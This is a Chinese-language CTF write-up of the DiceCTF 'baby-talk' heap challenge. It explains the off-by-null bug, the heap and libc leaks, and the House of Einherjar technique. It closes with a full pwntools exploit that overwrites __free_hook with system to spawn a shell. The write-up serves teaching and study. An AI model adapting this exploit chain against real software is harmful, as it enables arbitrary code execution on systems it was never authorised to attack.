本题的考点就是House of Einherjar
House of Einherjar 的流程如下图所示
要注意一下tok的功能,它既能实现off by null ,还能实现show的功能
其对应的就是c的strtok函数
另外的功能就是str能够malloc,del能够free
搞清楚了漏洞点,接下来就是写POC了,由于在利用过程中需要用到堆上的地址和libc上的地址,所以先需要泄露出libc和heap的地址。调试发现程序中chunk在free后不会清除,同时malloc时也不会置零,所以可以通过tok来进行地址泄露
其中heap通过tcache chunk来泄露,libc通过unsorted chunk来泄露
接下来为了构造House of Einherjar,我们要先想好chunk的构造方式,最终的目的当然是修改tcache的fd指针从而伪造fake tcache chunk来修改__free_hook从而实现getshell
chunk的布局大致应该为这样,唯一要注意的点是prev_size的设置和off by null无法在一次createstr的情况下设置,所以可以先进行off by null之后再free一次,之后再malloc一次从而设置prev_size
此外就是为了发生unsorted bin的unlink操作,需要先把对应大小的tcache链表填满,否则chunk直接进入tcache中就没有我们期望的unlink操作了。
转换为代码就是这样
调试发现成功unlink
我们再把这个tcache chunk malloc出来就可以更改tcache bin chunk的fd指针了
之后调用free即可执行
完整POC如下
from pwn import * context(log_level=”debug”) io = process(“./chall”) #io = remote(“20.55.48.101”, 1339) #libc = ELF(“./libc-2.31.so”) def debug(): gdb.attach(io) pause() sla = lambda delim, data: io.sendlineafter(delim, data) createstr = lambda size, sstr: (sla(“>”, “1”), sla(“size?”, size), sla(“str?”, sstr)) tokstr = lambda strid, delim: (sla(“>”, “2”), sla(“idx?”,strid), sla(“delim?”, delim)) delstr = lambda strid: (sla(“>”, “3”), sla(“idx?”, strid)) # leak heap createstr(“30”, “a”) createstr(“30”, “b”) delstr(“0”) delstr(“1”) createstr(“30”, “”) tokstr(“0”, “a”) io.recv(1) heap = u64(io.recv(6).ljust(8, b”x00″)) & (0xfffffffffffff000) log.info(f”HEAP ADDR : {hex(heap)}”) # leak libc createstr(“4096”, “d”) #1 createstr(“30”, “e”) #2 createstr(“30”, “f”) #3 delstr(“1”) createstr(“4096”, “g”*8) #1 tokstr(“1”, “a”) io.recv(1) io.recv(8) libc = u64(io.recv(6).ljust(8, b”x00″)) – 0x3ebc0a free_hook = libc + 0x3ed8e8 system_addr = libc + 0x04f420 log.info(f”LIBC ADDR : {hex(libc)}”) # House of Einherjar ## off by null createstr(“30”, “i”) #4 createstr(“24”, p64(heap + 0x1320) * 2 + p64(0x20)) #5 createstr(“40″, b”B” * 40) #6 createstr(“248”, “i”) #7
tokstr(“6”, “x01”) delstr(“6”) createstr(“40″, b”B” * 32 + p64(0x50)) #6 createstr(“20”, “j”) ## fill up tcache for unsorted bin unlink for i in range(7): createstr(“248”, “h”) # 4 – 10 for i in range(7, 0, -1): delstr(str(8 + i)) ## fake tcachebin chunk in __free_hook delstr(“4”) delstr(“6”) delstr(“7”) createstr(“328″, b”A” * 24 + p64(0x31) + p64(free_hook)) #4 createstr(“28”, “”) #6 createstr(“28”, p64(system_addr)) #7 ## trigger createstr(“20”, “/bin/shx00”) #9 delstr(“9”) io.interactive() |
参考
https://www.anquanke.com/post/id/251596
原文始发于微信公众号(3072):dicectf baby-talk分析